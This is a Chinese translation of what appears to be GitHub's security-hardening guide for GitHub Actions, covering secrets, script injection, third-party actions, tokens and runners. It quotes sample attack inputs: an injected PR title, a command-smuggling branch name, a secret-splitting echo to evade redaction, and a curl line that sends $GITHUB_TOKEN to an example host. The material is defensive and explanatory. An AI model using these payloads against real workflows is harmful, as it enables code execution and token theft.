跳至主要内容

GitHub Actions 的安全强化

使用 GitHub Actions 功能的良好安全实践。

概述

本指南说明如何为某些 GitHub Actions 功能配置安全加固。如果您不熟悉 GitHub Actions 概念,请参阅“了解 GitHub Actions”。

使用密钥

敏感值绝不应以纯文本形式存储在工作流程文件中,而应作为密钥存储。密钥可以在组织、存储库或环境级别配置,允许您在 GitHub 中存储敏感信息。

密钥使用Libsodium 密封盒,以便在到达 GitHub 之前对其进行加密。当使用UI或通过REST API提交密钥时,就会发生这种情况。这种客户端加密有助于最大限度地降低与 GitHub 基础架构中意外日志记录(例如,异常日志和请求日志等)相关的风险。密钥上传后,GitHub 即可对其进行解密,以便将其注入工作流程运行时。

为了帮助防止意外泄露,GitHub 使用一种机制来尝试删除运行日志中出现的任何密钥。此删除操作查找在作业中使用的任何已配置密钥的确切匹配项,以及值的常用编码,例如 Base64。但是,由于有多种方法可以转换密钥值,因此无法保证此删除操作。此外,运行器只能删除当前作业中使用的密钥。因此,您应该采取一些主动措施和最佳实践,以帮助确保密钥被删除,并限制与密钥相关的其他风险。

  • 切勿使用结构化数据作为密钥
    • 结构化数据可能导致日志中的密钥删除失败,因为删除很大程度上依赖于查找特定密钥值的精确匹配。例如,不要使用 JSON、XML 或 YAML(或类似)的 blob 来封装密钥值,因为这会大大降低密钥被正确删除的概率。相反,为每个敏感值创建单独的密钥。
  • 注册工作流程中使用的所有密钥
    • 如果使用密钥在工作流程中生成另一个敏感值,则应正式将生成的密钥注册为密钥,以便如果它出现在日志中,它将被删除。例如,如果使用私钥生成签名的 JWT 来访问 Web API,请确保将该 JWT 注册为密钥,否则如果它进入日志输出,它将不会被删除。
    • 注册密钥也适用于任何类型的转换/编码。如果您的密钥以某种方式转换(例如 Base64 或 URL 编码),请确保也将新值注册为密钥。
  • 审核密钥的处理方式
    • 审核密钥的使用方式,以帮助确保它们按预期处理。您可以通过查看执行工作流程的存储库的源代码并检查工作流程中使用的任何 action 来执行此操作。例如,检查它们是否未发送到意外的主机,或明确地打印到日志输出。
    • 测试有效/无效输入后查看工作流程的运行日志,并检查密钥是否被正确删除或未显示。您并不总是清楚您调用的命令或工具将如何将错误发送到STDOUTSTDERR,并且密钥随后可能会出现在错误日志中。因此,在测试有效和无效输入后手动检查工作流程日志是一个好习惯。有关如何清理可能无意中包含敏感数据的 Workflow 日志的信息,请参阅“使用工作流程运行日志”。
  • 使用范围最小的凭据
    • 确保工作流程中使用的凭据具有所需的最低权限,并注意任何具有写入您存储库访问权限的用户都可以读取您存储库中配置的所有密钥。
    • Actions 可以通过从github.token上下文访问它来使用GITHUB_TOKEN。有关更多信息,请参阅“访问有关工作流程运行的上下文信息”。因此,您应该确保为GITHUB_TOKEN授予最低所需的权限。最佳安全实践是将GITHUB_TOKEN的默认权限设置为仅对存储库内容的读取访问权限。然后可以根据需要增加各个工作流程文件内作业的权限。有关更多信息,请参阅“自动令牌身份验证”。
  • 审核和轮换已注册的密钥
    • 定期检查已注册的密钥以确认它们是否仍然需要。删除不再需要的那些密钥。
    • 定期轮换密钥以减少被泄露密钥的有效时间窗口。
  • 考虑要求对访问密钥进行审核
    • 您可以使用必需的审阅者来保护环境密钥。工作流程作业只有在审阅者批准后才能访问环境密钥。有关在环境中存储密钥或要求对环境进行审核的更多信息,请参阅“在 GitHub Actions 中使用密钥”和“管理部署环境”。

警告

任何具有写入您存储库访问权限的用户都可以读取您存储库中配置的所有密钥。因此,您应该确保工作流程中使用的凭据具有所需的最低权限。

使用CODEOWNERS监控更改

您可以使用CODEOWNERS功能来控制对工作流程文件的更改方式。例如,如果所有工作流程文件都存储在.github/workflows中,您可以将此目录添加到代码所有者列表中,以便对这些文件的任何建议更改都需要指定审阅者的批准。

有关更多信息,请参阅“关于代码所有者”。

了解脚本注入的风险

在创建工作流程、自定义 action组合 action时,您应始终考虑您的代码是否可能执行来自攻击者的不受信任的输入。当攻击者向上下文添加恶意命令和脚本时,就会发生这种情况。当您的工作流程运行时,这些字符串可能会被解释为代码,然后在运行器上执行。

攻击者可以将他们自己的恶意内容添加到github上下文中,这应被视为潜在的不可信输入。这些上下文通常以bodydefault_branchemailhead_reflabelmessagenamepage_namereftitle结尾。例如:github.event.issue.titlegithub.event.pull_request.body

您应确保这些值不会直接流入工作流程、action、API 调用或任何其他可能将其解释为可执行代码的地方。通过采用与任何其他特权应用程序代码相同的防御性编程姿势,您可以帮助加强 GitHub Actions 的安全性。有关攻击者可能采取的一些步骤的信息,请参阅“GitHub Actions 的安全加固”。

此外,还有其他不太明显的潜在不受信任输入来源,例如分支名称和电子邮件地址,它们的允许内容非常灵活。例如,zzz";echo${IFS}"hello";# 将是一个有效的分支名称,并且可能是目标存储库的潜在攻击媒介。

以下部分说明如何帮助减轻脚本注入的风险。

脚本注入攻击示例

脚本注入攻击可以直接在工作流程的内联脚本中发生。在下面的示例中,一个 action 使用表达式来测试拉取请求标题的有效性,但也增加了脚本注入的风险。

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

此示例容易受到脚本注入的攻击,因为run命令在运行器上的临时 shell 脚本中执行。在运行 shell 脚本之前,${{ }} 内的表达式将被评估,然后替换为结果值,这可能会使其容易受到 shell 命令注入的攻击。

为了将命令注入此工作流程,攻击者可以创建一个标题为a"; ls $GITHUB_WORKSPACE"的拉取请求。

Screenshot of the title of a pull request in edit mode. A new title has been entered in the field: a"; ls $GITHUB_WORKSPACE".

在此示例中,"字符用于中断title="${{ github.event.pull_request.title }}"语句,允许在运行器上执行ls命令。您可以在日志中看到ls命令的输出。

Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js

减轻脚本注入攻击的最佳实践

有多种不同的方法可用于帮助您减轻脚本注入的风险。

推荐的方法是创建一个 JavaScript action,将上下文值作为参数进行处理。这种方法不会受到注入攻击的影响,因为上下文值不用于生成 shell 脚本,而是作为参数传递给 action。

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

使用中间环境变量

对于内联脚本,处理不受信任输入的首选方法是将表达式的值设置为中间环境变量。

以下示例使用 Bash 将github.event.pull_request.title值作为环境变量进行处理。

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

在此示例中,尝试的脚本注入不成功,这反映在日志中的以下几行中。

   env:
     TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'

使用这种方法,${{ github.event.issue.title }}表达式的值存储在内存中并用作变量,并且不与脚本生成过程交互。此外,请考虑使用双引号 shell 变量来避免单词分割,但这只是编写 shell 脚本的许多建议之一,并且不是 GitHub Actions 特有的。

使用工作流程模板进行代码扫描

注意

高级安全的工作流模板已整合到存储库的**操作**选项卡中的“安全”类别中。代码扫描允许您在安全漏洞进入生产环境之前找到它们。GitHub 提供代码扫描的工作流模板。您可以使用这些建议的工作流来构建您的代码扫描工作流,而无需从头开始。GitHub 的工作流(CodeQL 分析工作流)由 CodeQL 提供支持。还提供第三方工作流模板。

更多信息,请参见“关于代码扫描”和“配置代码扫描的高级设置”。

限制令牌的权限

为了帮助降低令牌泄露的风险,请考虑限制分配的权限。更多信息,请参见“自动令牌身份验证”。

使用 OpenID Connect 访问云资源

如果您的 GitHub Actions 工作流需要访问支持 OpenID Connect (OIDC) 的云提供商的资源,您可以配置您的工作流以直接向云提供商进行身份验证。这将使您无需将这些凭据存储为长期有效的密钥,并提供其他安全优势。更多信息,请参见“关于使用 OpenID Connect 加强安全性”。

注意

AWS 不支持 OIDC 的自定义声明。

使用第三方操作

工作流中的各个作业可以与其他作业交互(并危及它们)。例如,一个作业查询后续作业使用的环境变量,将文件写入后续作业处理的共享目录,或者更直接地与 Docker 套接字交互并检查其他正在运行的容器并在其中执行命令。

这意味着在工作流中单个操作受到破坏的影响可能非常重大,因为该受损操作将可以访问存储库上配置的所有密钥,并且可能能够使用GITHUB_TOKEN写入存储库。因此,从 GitHub 上的第三方存储库获取操作存在重大风险。有关攻击者可能采取的一些步骤的信息,请参见“GitHub Actions 的安全强化”。

您可以通过遵循以下良好实践来帮助降低此风险

  • 将操作固定到完整的提交 SHA

    目前,将操作固定到完整的提交 SHA 是将操作用作不变版本唯一的办法。固定到特定的 SHA 有助于降低恶意行为者向操作的存储库添加后门的风险,因为他们需要为有效的 Git 对象有效负载生成 SHA-1 冲突。选择 SHA 时,应验证它是否来自操作的存储库,而不是存储库分支。

  • 审核操作的源代码

    确保操作按预期处理存储库的内容和密钥。例如,检查密钥是否未发送到意外的主机,或者是否未意外记录。

  • 只有在您信任创建者的情况下才将操作固定到标签

    虽然固定到提交 SHA 是最安全的选择,但指定标签更方便且被广泛使用。如果您想指定标签,请确保您信任操作的创建者。GitHub 市场上的“已验证创建者”徽章是一个有用的信号,因为它表明该操作是由 GitHub 已验证其身份的团队编写的。请注意,即使您信任作者,这种方法也存在风险,因为如果恶意行为者获得存储操作的存储库的访问权限,则可以移动或删除标签。

重用第三方工作流

上面关于使用第三方操作所述的相同原则也适用于使用第三方工作流。您可以通过遵循上面概述的相同良好实践来帮助降低与重用工作流相关的风险。更多信息,请参见“重用工作流”。

使用 Dependabot 版本更新来保持操作的最新状态

您可以使用 Dependabot 来确保存储库中使用的操作和可重用工作流的引用保持最新状态。操作通常会更新错误修复和新功能,以使自动化流程更快、更安全和更可靠。Dependabot 会自动为您执行此操作,从而省去了维护依赖项的工作。更多信息,请参见“使用 Dependabot 使您的操作保持最新”和“关于 Dependabot 安全更新”。

防止 GitHub Actions 创建或批准拉取请求

您可以选择允许或阻止 GitHub Actions 工作流创建或批准拉取请求。如果在没有适当监督的情况下合并拉取请求,允许工作流或任何其他自动化操作创建或批准拉取请求可能会构成安全风险。

有关如何配置此设置的更多信息,请参见“禁用或限制组织的 GitHub Actions”和“管理存储库的 GitHub Actions 设置”。

使用 OpenSSF Scorecards 来保护工作流

Scorecards 是一款自动安全工具,它会标记有风险的供应链实践。您可以使用 Scorecards 操作工作流模板 来遵循最佳安全实践。配置后,Scorecards 操作会在存储库更改时自动运行,并使用内置代码扫描体验提醒开发人员注意有风险的供应链实践。Scorecards 项目运行许多检查,包括脚本注入攻击、令牌权限和固定操作。

受损运行器的潜在影响

这些部分考虑了攻击者如果能够在 GitHub Actions 运行器上运行恶意命令可以采取的一些步骤。

注意

GitHub 托管的运行器不会扫描用户在其作业期间下载的恶意代码,例如受损的第三方库。

访问密钥

使用pull_request事件从分支存储库触发的作业具有只读权限,并且无法访问密钥。但是,对于各种事件触发器(例如来自存储库内分支的issue_commentissuespushpull_request),这些权限有所不同,攻击者可能会尝试窃取存储库密钥或使用作业的GITHUB_TOKEN的写入权限。

  • 如果密钥设置为环境变量,则可以使用printenv通过环境直接访问它。

  • 如果密钥直接用于表达式中,则生成的 shell 脚本将存储在磁盘上,并且可以访问。

  • 对于自定义操作,风险可能因程序使用从参数中获取的密钥的方式而异。

    uses: fakeaction/publish@v3
    with:
        key: ${{ secrets.PUBLISH_KEY }}
    

虽然 GitHub Actions 会清除工作流(或包含的操作)中未引用的内存中的密钥,但GITHUB_TOKEN和任何引用的密钥都可以被有决心的攻击者窃取。

从运行器中泄露数据

攻击者可以从运行器中泄露任何被盗的密钥或其他数据。为了帮助防止意外泄露密钥,GitHub Actions 会自动删除打印到日志中的密钥,但这并不是真正的安全边界,因为密钥可以故意发送到日志中。例如,可以使用echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};泄露模糊的密钥。此外,由于攻击者可以运行任意命令,因此他们可以使用 HTTP 请求将密钥或其他存储库数据发送到外部服务器。

窃取作业的GITHUB_TOKEN

攻击者可能会窃取作业的GITHUB_TOKEN。GitHub Actions 运行器会自动接收一个生成的GITHUB_TOKEN,其权限仅限于包含工作流的存储库,并且该令牌在作业完成后过期。过期后,令牌对攻击者不再有用。为了解决此限制,他们可以通过使用令牌调用攻击者控制的服务器来自动化攻击并在几分之一秒内执行它,例如:a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#

修改存储库的内容

如果GITHUB_TOKEN的分配权限未受限制,则攻击者服务器可以使用 GitHub API 修改存储库内容,包括发行版。

考虑跨存储库访问

GitHub Actions 故意一次只针对单个存储库。GITHUB_TOKEN授予与具有写入权限的用户相同的访问级别,因为任何具有写入权限的用户都可以通过创建或修改工作流文件来访问此令牌,如有必要,可以提升GITHUB_TOKEN的权限。用户对每个存储库都有特定的权限,因此允许一个存储库的GITHUB_TOKEN授予对另一个存储库的访问权限,如果没有仔细实施,将会影响 GitHub 权限模型。同样,在向工作流添加 GitHub 身份验证令牌时必须谨慎,因为这也会通过无意中向协作者授予广泛访问权限来影响 GitHub 权限模型。

如果您的组织归企业帐户所有,则可以通过将 GitHub Actions 存储在内部存储库中来共享和重用它们。更多信息,请参见“与您的企业共享操作和工作流”。

您可以通过将 GitHub 身份验证令牌或 SSH 密钥作为工作流中的密钥来执行其他特权的跨存储库交互。由于许多身份验证令牌类型不允许对特定资源进行细粒度访问,因此使用错误的令牌类型存在重大风险,因为它可能会授予比预期更广泛的访问权限。

此列表按优先级递减顺序描述了在工作流中访问存储库数据的推荐方法

  1. GITHUB_TOKEN
    • 此令牌有意限于调用工作流程的单个存储库,并且可以拥有与存储库的写入访问用户相同的访问级别。令牌在每个作业开始之前创建,并在作业完成时过期。有关更多信息,请参阅“自动令牌身份验证”。
    • 应尽可能使用GITHUB_TOKEN
  2. 存储库部署密钥
    • 部署密钥是唯一几种授予对单个存储库的读写访问权限的凭据类型之一,可用于与工作流程中的另一个存储库进行交互。有关更多信息,请参阅“管理部署密钥”。
    • 请注意,部署密钥只能使用 Git 克隆和推送存储库,不能用于与 REST 或 GraphQL API 交互,因此它们可能不适合您的要求。
  3. GitHub 应用令牌
    • GitHub 应用可以安装在选定的存储库上,甚至可以在其中的资源上拥有细粒度的权限。您可以为您的组织创建一个内部 GitHub 应用,将其安装在工作流程中需要访问的存储库上,并在工作流程中以安装身份进行身份验证以访问这些存储库。有关更多信息,请参阅“在 GitHub Actions 工作流程中使用 GitHub 应用进行身份验证的 API 请求”。
  4. 个人访问令牌
    • 您绝不应使用个人访问令牌(经典版)。这些令牌允许访问您有权访问的所有组织中的所有存储库,以及您个人帐户中的所有个人存储库。这间接地授予了工作流程所在存储库的所有写入访问用户的广泛访问权限。
    • 如果您确实使用了个人访问令牌,则绝不应使用您自己帐户的个人访问令牌。如果您后来离开某个组织,则使用此令牌的工作流程将立即中断,并且调试此问题可能会很困难。相反,您应该为属于您的组织的新帐户使用细粒度的个人访问令牌,并且该令牌仅被授予对工作流程所需特定存储库的访问权限。请注意,这种方法不可扩展,应避免使用,而应选择替代方法,例如部署密钥。
  5. 个人帐户上的 SSH 密钥
    • 工作流程绝不应使用个人帐户上的 SSH 密钥。与个人访问令牌(经典版)类似,它们授予对您所有个人存储库以及您通过组织成员身份可以访问的所有存储库的读写权限。这间接地授予了工作流程所在存储库的所有写入访问用户的广泛访问权限。如果您打算使用 SSH 密钥是因为您只需要执行存储库克隆或推送,并且不需要与公共 API 交互,那么您应该改用单个部署密钥。

GitHub 托管运行器的加固

GitHub 托管运行器采取措施帮助您降低安全风险。

审查 GitHub 托管运行器的供应链

对于由 GitHub 维护的镜像创建的 GitHub 托管运行器,您可以查看软件物料清单 (SBOM) 以查看在运行器上预安装了哪些软件。您可以向用户提供 SBOM,他们可以使用漏洞扫描器运行 SBOM 来验证产品中是否存在任何漏洞。如果您正在构建工件,则可以将此 SBOM 包含在您的物料清单中,以全面列出创建软件所需的一切。

SBOM 可用于 GitHub 维护的 Ubuntu、Windows 和 macOS 运行器镜像。您可以在 https://github.com/actions/runner-images/releases 的发行版资源中找到构建的 SBOM。格式为sbom.IMAGE-NAME.json.zip 的 SBOM 文件可在每个发行版的附件中找到。

对于第三方镜像,例如 ARM 运行器的镜像,您可以在 actions/partner-runner-images 存储库 中找到包含在镜像中的软件的详细信息。

拒绝访问主机

GitHub 托管运行器配置了etc/hosts 文件,该文件阻止对各种加密货币挖掘池和恶意网站的网络访问。诸如 MiningMadness.com 和 cpu-pool.com 之类的主机被重定向到本地主机,因此它们不会构成重大的安全风险。有关更多信息,请参阅“使用 GitHub 托管运行器”。

自托管运行器的加固

GitHub 托管运行器在短暂且干净的隔离虚拟机中执行代码,这意味着无法持久地破坏此环境,也无法获得超出在引导过程中放入此环境中的更多信息。

GitHub 的自托管运行器无法保证在短暂且干净的虚拟机中运行,并且可能被工作流程中的不受信任的代码持久地破坏。

因此,自托管运行器几乎永远不应用于 GitHub 上的公共存储库,因为任何用户都可以对存储库打开拉取请求并破坏环境。同样,在私有或内部存储库上使用自托管运行器时要谨慎,因为任何可以派生存储库并打开拉取请求的用户(通常是具有存储库读取访问权限的用户)都可以破坏自托管运行器环境,包括访问机密和GITHUB_TOKEN,这取决于其设置,可以授予对存储库的写入访问权限。尽管工作流程可以使用环境和必需的审查来控制对环境机密的访问,但这些工作流程并非在隔离的环境中运行,并且在自托管运行器上运行时仍然容易受到相同的风险影响。

组织所有者可以选择允许哪些存储库创建存储库级别的自托管运行器。

有关更多信息,请参阅“禁用或限制组织的 GitHub Actions”。

当在组织或企业级别定义自托管运行器时,GitHub 可以将来自多个存储库的工作流程调度到同一个运行器上。因此,这些环境的安全漏洞可能会导致广泛的影响。为了帮助减小漏洞的影响范围,您可以通过将自托管运行器组织成单独的组来创建边界。您可以限制哪些组织和存储库可以访问运行器组。有关更多信息,请参阅“使用组管理对自托管运行器的访问”。

您还应该考虑自托管运行器机器的环境

  • 配置为自托管运行器的机器上驻留哪些敏感信息?例如,私有 SSH 密钥、API 访问令牌等。
  • 机器是否可以访问敏感服务?例如,Azure 或 AWS 元数据服务。此环境中敏感信息的数量应保持在最低限度,并且您应始终注意,任何能够调用工作流程的用户都可以访问此环境。

某些客户可能会尝试通过实施在每次作业执行后自动销毁自托管运行器的系统来部分减轻这些风险。但是,这种方法可能不如预期的那样有效,因为无法保证自托管运行器只运行一项作业。某些作业将使用机密作为命令行参数,这些参数可以被在同一运行器上运行的另一项作业看到,例如ps x -w。这可能导致机密泄漏。

使用即时运行器

为了提高运行器注册安全性,您可以使用 REST API 创建短暂的即时 (JIT) 运行器。这些自托管运行器最多执行一项作业,然后就会自动从存储库、组织或企业中删除。有关配置 JIT 运行器的更多信息,请参阅“自托管运行器的 REST API 端点”。

注意

重复使用硬件来托管 JIT 运行器可能会导致环境中的信息泄露。使用自动化来确保 JIT 运行器使用干净的环境。有关更多信息,请参阅“自托管运行器的自动缩放”。

获得 REST API 响应中的配置文件后,您可以在启动时将其传递给运行器。

./run.sh --jitconfig ${encoded_jit_config}

规划自托管运行器的管理策略

自托管运行器可以添加到 GitHub 层次结构中的不同级别:企业、组织或存储库级别。此位置决定谁可以管理运行器。

集中式管理

  • 如果您计划让一个集中式团队拥有自托管运行器,那么建议在最高的共同组织或企业级别添加您的运行器。这使您的团队可以集中查看和管理您的运行器。
  • 如果您只有一个组织,那么在组织级别添加运行器实际上是相同的方法,但是如果您将来添加另一个组织,则可能会遇到困难。

分散式管理

  • 如果每个团队都将管理他们自己的自托管运行器,那么建议在团队所有权的最高级别添加运行器。例如,如果每个团队拥有他们自己的组织,那么如果运行器也添加到组织级别,则最简单。
  • 您也可以在存储库级别添加运行器,但这会增加管理开销,还会增加您需要的运行器数量,因为您不能在存储库之间共享运行器。

向您的云提供商进行身份验证

如果您使用 GitHub Actions 部署到云提供商,或打算使用 HashiCorp Vault 进行机密管理,那么建议您考虑使用 OpenID Connect 为您的工作流程运行创建短暂的、范围明确的访问令牌。有关更多信息,请参阅“关于使用 OpenID Connect 加固安全性”。

审核 GitHub Actions 事件

您可以使用安全日志监控您的用户帐户的活动,并使用审核日志监控组织中的活动。安全和审核日志记录操作类型、运行时间以及执行操作的个人帐户。

例如,您可以使用审核日志跟踪org.update_actions_secret 事件,该事件跟踪对组织机密的更改。

Screenshot showing a search for "action:org.update_actions_secret" in the audit log for an organization. Two results are shown.

有关您可以在每个帐户类型的审核日志中找到的完整事件列表,请参阅以下文章